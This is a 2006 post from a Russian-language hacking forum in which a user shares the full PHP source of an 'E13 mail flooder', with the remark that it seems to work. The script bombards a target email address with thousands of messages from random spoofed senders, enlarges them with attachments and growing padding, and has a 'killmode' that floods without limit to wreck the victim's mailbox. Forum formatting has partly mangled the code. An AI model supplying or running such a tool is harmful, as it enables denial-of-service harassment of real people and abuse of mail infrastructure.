Показать сообщение отдельно

  #10  
Старый 18.07.2006, 00:22
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
С нами: 10485026

Репутация: 1879


По умолчанию

Вот типа тоже како-то mail флуддер...
PHP код:
<?

error_reporting
(0); // Отключаем отображение ошиюок
set_magic_quotes_runtime(0); // Магия =)
set_time_limit(0); // Убираем ограницение по времени работы скрипта
ignore_user_abort(0); // Продолжать выполнять если даже пользователь закрыл браузер

  ///////////////////////
// Настройки скрипта //
///////////////////////

//Поля со звёздочками (*) обязательны для заполнения

//Мыло которое надо флудить (*)
$tomail=" ";
//Тема письма
//Для случайного значения оставьте пустыми
$mailsj=" ";
//Текст письма (*)
$mailtext=" ";
//Куда будут отвечать
//Для случайного значения оставьте пустыми
$frommail=" ";
//Количество писем
//Не следует указываеть если включенно killmode
$number="5000";
//Добавить аттач, чтобы увеличить размер письма
//Впишите локальный файл
$attach=" ";
//Размер письма растёт пропорционально количеству писем (*)
//Если off то отключенно если on то включенно.
$grow="off";
//Killmode полностью убиваем мыльник жертвы (*)
//Те. отсылает бесконечное количество писем
//Если off то отключенно если on то включенно.
$killmode="off";



  
//////////////////////
// Далее не изменять  //
//////////////////////

function mailflood($tomail$mailsj$mailtext$frommail$grow$attach )
{
GLOBAL 
$attach;
GLOBAL 
$grow;
GLOBAL 
$random;

$unstrtoupper(uniqid(time()));
  if (
$mailsj=="")
  {
  
$mailsj="RE[".Random()."]";
  
$sj=1;
  }
  if (
$frommail=="")
  {
  
$frommail="".Random()."@mail.ru";
  
$fr=1;
  }

  if(
$grow=="off")
  {
    
$random="<br>".Random();
  }

  if(
$grow=="on")
  {
    
$random=$random."<br>".Random();
  }

$header  "From: $frommail\n";
$header .= "X-Mailer: PHPMail Tool\n";
$header .= "Mime-Version: 1.0\n";
$header .= "Content-Type:multipart/mixed;";
$header .= "boundary=\"----------".$un."\"\n\n";

$fileheader "------------".$un."\nContent-Type:text/html;charset=\"windows-1251\"\r\n";
if(
$attach!=="")
  {
  
$filefopen($attach,"r");

    
$newname=str_replace("/","_",$attach);
    
$newname=str_replace("-","_",$newname);
    
$newname=str_replace(".","_",$newname);

  
$mailtext=str_replace($attach,"cid:" $newname,$mailtext);
  
$fileheader2 .= "------------".$un."\n";
  
$fileheader2 .= "Content-Type: image/jpeg;";
  
$fileheader2 .= "name=\"".basename($attach)."\"\n";
  
$fileheader2 .= "Content-Transfer-Encoding:base64\n";
  
$fileheader2 .= "Content-ID: <$newname>\n\n";
  
$fileheader2 .= chunk_split(base64_encode(fread($file,filesize($attach))))."\n";
  }

$mailtext="".$mailtext."\n\r $random";
$fileheader .= "Content-Transfer-Encoding: 8bit\n\n";
$fileheader1 "$mailtext\n\n";
$fileheader=$fileheader $fileheader1 $fileheader2;

mail($tomail$mailsj$fileheader$header);

if(
$sj=="1")
  {
  
$mailsj="";
  }

if(
$fr=="1")
  {
  
$frommail="";
  }
}

function 
Random()
{
        
$salt 'abchefghjkmnpqrstuvwxyz0123456789';
        
$Random '';
        
srand((double)microtime()*1000000);
        
$i    0;

        while (
$i <= 7)
  {
        
$num rand() % 33;
        
$tmp substr($salt$num1);
        
$Random $Random $tmp;
        
$i++;
        }

return 
$Random;
}

echo
"
<html>
<title>E13 mail flooder v 1.1</title>
"
;
echo 
"
<style>
A:link {
COLOR: #FFFFFF; TEXT-DECORATION: none
}
A:active {
COLOR: #FFFFFF; TEXT-DECORATION: none
}
A:visited {
COLOR: #FFFFFF; TEXT-DECORATION: none
}
A:hover {
COLOR: #CC0000; TEXT-DECORATION: underline
}
</style>
<BODY text=white bgColor=black>
<font size='1' face='Verdana'>

Мыло которое надо флудить : 
$tomail <br>
Тема письма : 
$mailsj <br>
Текст письма : 
$mailtext <br>
Куда будут отвечать : 
$frommail <br>
Количество писем : 
$number <br>
"
;
if (isset(
$attach)){echo"Attach : $attach <br>";}
echo
"
Killmode : 
$killmode <br>
</font>
<a href='
$PHP_SELF?flood'>START FLOOD!</a>
"
;
if(isset (
$_GET['flood']))
{
echo 
"<h2>Flood started !</h2>";
if(
$killmode=="on")
{
  while (
$i>=0)
  {
  
mailflood($tomail$mailsj$mailtext$frommail$grow$attach );
  }
}

if(
$killmode="off")
{
  for (
$i=1$i<=$number$i++)
  {
  
mailflood($tomail$mailsj$mailtext$frommail$grow ,$attach );
  }
}
echo 
"<h2>Flood stoped !</h2>";
}

?>
Я пробовал, вроде работает.
 
Ответить с цитированием